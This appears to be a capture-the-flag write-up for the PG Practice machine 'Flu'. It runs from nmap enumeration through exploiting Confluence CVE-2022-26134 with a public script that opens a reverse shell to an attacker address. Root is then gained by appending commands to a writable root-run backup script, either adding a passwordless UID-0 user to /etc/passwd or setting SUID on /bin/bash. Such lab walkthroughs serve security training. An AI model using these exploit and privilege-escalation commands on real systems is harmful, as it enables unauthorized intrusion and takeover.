Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Linux

Summary

Flu runs Atlassian Confluence Server 7.13.6, vulnerable to CVE-2022-26134, an unauthenticated OGNL injection leading to remote code execution. A public exploit script was used to get a shell as the confluence user directly. Privilege escalation abused a log-backup script owned by confluence but executed periodically as root, which copies files into a root-only directory — appending arbitrary commands to the script achieved root, either by writing a new root-equivalent user into /etc/passwd or by setting the SUID bit on /bin/bash.

Service Enumeration

Nmap

nmap -sCV -oN scans/tcp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 12:39 +0800
Nmap scan report for 192.168.198.41
Host is up (0.0086s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_  256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open  http    Apache Tomcat (language: en)
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.26 seconds

sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 12:39 +0800
Nmap scan report for 192.168.198.41
Host is up (0.0088s latency).

PORT      STATE  SERVICE
53/udp    closed domain
67/udp    closed dhcps
68/udp    closed dhcpc
69/udp    closed tftp
123/udp   closed ntp
135/udp   closed msrpc
137/udp   closed netbios-ns
138/udp   closed netbios-dgm
139/udp   closed netbios-ssn
161/udp   closed snmp
162/udp   closed snmptrap
445/udp   closed microsoft-ds
500/udp   closed isakmp
514/udp   closed syslog
520/udp   closed route
631/udp   closed ipp
1434/udp  closed ms-sql-m
1900/udp  closed upnp
4500/udp  closed nat-t-ike
49152/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 19.11 seconds

Open ports: 22 (OpenSSH 9.0p1 Ubuntu), 8090 (Apache Tomcat, Confluence login page). UDP scan returned all closed, nothing open.

Web (8090) - Confluence

Login page:

Searching around the Confluence login page and title led to a public exploit for CVE-2022-26134:

git clone https://github.com/jbaines-r7/through_the_wire
cd through_the_wire
chmod +x through_the_wire.py

Initial Access - Confluence OGNL Injection (CVE-2022-26134)

python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost 192.168.45.232 --lport 1234 --protocol http:// --reverse-shell

Stabilized the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

then backgrounded it (Ctrl+Z), ran stty raw -echo; fg on the attacking machine, and set export TERM=xterm in the shell.

local.txt found in the confluence home directory:

cd /home/confluence
whoami && hostname && cat local.txt

Privilege Escalation - Root-Owned Log Backup Script

Manual low-hanging-fruit checks (sudo -l, cron, SUID binaries, listening services, /etc/passwd, home directory contents, bash history, /opt, /var/backups) turned up a script:

cat /opt/log-backup.sh

#!/bin/bash

CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")

cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
find $BACKUP_DIR -name "log_backup_*"  -mmin +5 -exec rm -rf {} \;

The script is owned and writable by confluence but writes into /root/backup, which only root can access — meaning it runs periodically as root. Confirmed by appending a test write:

echo 'hello' > /tmp/test

which appeared owned by root after a short wait.

Method 1: write a root-equivalent user into /etc/passwd

Appended a line writing a full copy of /etc/passwd plus an extra hacker::0:0::/root:/bin/sh entry to /tmp/testpasswd, then, once confirmed, wrote it directly to /etc/passwd the same way. After the script's next run:

su - hacker
whoami && hostname && cat /root/proof.txt

Method 2 (bonus): SUID bit on /bin/bash

Appended chmod u+s /bin/bash to the script instead. After the next run:

ls -al /bin/bash
bash -p
whoami && hostname && cat /root/proof.txt

Both methods produced a root shell and the same proof.txt.

Flags